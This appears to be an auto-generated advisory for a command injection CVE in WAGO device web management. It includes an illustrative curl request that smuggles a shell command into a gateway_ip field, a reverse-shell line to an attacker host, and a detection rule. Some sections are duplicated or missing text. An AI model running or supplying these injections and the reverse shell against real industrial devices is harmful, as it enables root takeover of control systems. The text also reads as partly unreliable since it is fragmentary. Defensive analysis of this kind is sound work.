CVE-2026-80466 — WAGO 0751-9x01 (4.10.0) — CWE-78
A vulnerability in the Web-Based Management (WBM) routing configuration allows a low-privileged remote attacker to inject shell commands into routing parameters. Due to insufficient input validation, these values are stored in a configuration file and later processed by a privileged root helper script.
A vulnerability in the Web-Based Management (WBM) routing configuration allows a low-privileged remote attacker to inject shell commands into routing parameters. Due to insufficient input validation, these values are stored in a configuration file and later processed by a privileged root helper script.
🎯 What is this vulnerability?
This vulnerability is a Command Injection (CWE-78) flaw located within the Web-Based Management (WBM) interface of specific WAGO I/O System devices. The core technical failure is a lack of input sanitization on routing configuration parameters.
Specifically, the application accepts user-supplied data for network routing settings without validating or escaping shell metacharacters (such as ;, |, &, $(), or backticks). This tainted data is persisted to a configuration file on the device's filesystem. The critical escalation vector is that this configuration file is subsequently parsed and executed by a privileged root helper script. Because the helper script likely uses a shell interpreter (e.g., /bin/sh -c) to process the configuration values rather than a safe argument list (e.g., execve with an array), the injected commands are executed with root privileges.
The CVSS vector PR:L (Privileges Required: Low) indicates that an attacker does not need administrative access; a standard user account with permission to modify network/routing settings is sufficient to trigger the exploit.
⚡ Attack Chain
1. Discovery & Reconnaissance
- Service Identification: The attacker scans the target network for open ports associated with WAGO WBM (typically TCP 80/443 for HTTP/HTTPS).
- Version Fingerprinting: The attacker accesses the WBM login page or API endpoints to identify the firmware version. The CVE specifies version
4.10.0for the affected product lines (0751-9x01, 0750-811x, 0750-821x, 0762-420x, 0762-430x). - Credential Acquisition: The attacker requires low-privileged credentials. This may be achieved via: * Default credentials (if not changed). * Brute-forcing standard user accounts. * Compromising a legitimate user account elsewhere in the OT/IT network.
2. Exploitation
The attacker authenticates to the WBM interface as a low-privileged user. They navigate to the Routing Configuration section. The exact endpoint URI is not specified in the CVE description, so the following is an illustrative example of how such a parameter might be manipulated in a typical WBM REST API or form submission.Hypothetical Endpoint: POST /api/v1/network/routing
Hypothetical Parameter: gateway_ip or route_destination
Payload Construction:
The attacker injects a shell command into a routing parameter. For example, if the parameter is gateway_ip, the attacker submits:192.168.1.1; id > /tmp/pwned.txt
Curl Example (Illustrative):
curl -X POST "https://<target-ip>/api/v1/network/routing" \
-H "Authorization: Bearer <low_priv_token>" \
-H "Content-Type: application/json" \
-d '{
"interface": "eth0",
"gateway_ip": "192.168.1.1; id > /tmp/pwned.txt",
"subnet_mask": "255.255.255.0"
}'Mechanism:
1. The WBM application validates the JSON structure but fails to sanitize the gateway_ip string for shell metacharacters.
2. The value 192.168.1.1; id > /tmp/pwned.txt is written to a configuration file (e.g., /etc/wago/routing.conf).
3. A background service or a triggered helper script (running as root) reads this file.
4. The script executes a command like:
/bin/sh -c "ip route add default via $(cat /etc/wago/routing.conf | grep gateway | awk '{print $2}')"5. The shell interprets ; as a command separator, executing id > /tmp/pwned.txt as root.
3. Post-Exploitation
; bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1
/etc/crontab) or add a malicious entry to the same configuration file to ensure the payload executes on reboot.🌍 Real World Impact
Based on the CVSS:4.0 vector AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N:
root access, allowing them to read all files on the device, including PLC program logic, network credentials, and user data.Practical Consequences:
🛡️ Remediation & Mitigation
1. Patching
2. Workarounds (If Immediate Patching is Not Possible)
;, |, &, $, (, ), ` `, \n, \r`).3. Detection
Example ModSecurity Rule (Illustrative):
SecRule REQUEST_URI "@rx /api/v1/network/routing" \
"id:100001,phase:1,log,deny,status:403,msg:'Potential Command Injection in Routing Config',setvar:tx.blocked=1"
SecRule JSON:gateway_ip "@rx [;&|`$()]" \
"id:100002,phase:2,log,deny,status:403,msg:'Shell Metacharacters Detected in gateway_ip'"⚠️ Urgency
Although this CVE is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, the combination of Low Privileges Required, Low Attack Complexity, and High Impact (RCE as root) makes this a critical vulnerability for any environment where WAGO devices are exposed to networks with untrusted or semi-trusted users.
Recommendation:
1. Immediate: Identify all affected WAGO devices in your environment.
2. Short-term: Apply network segmentation to restrict WBM access to authorized administrators only.
3. Medium-term: Schedule firmware upgrades to the latest patched version as soon as possible, prioritizing devices with higher network exposure or critical process control responsibilities.
[🤖 CVE Professor AI Security Engine]
FOFA Query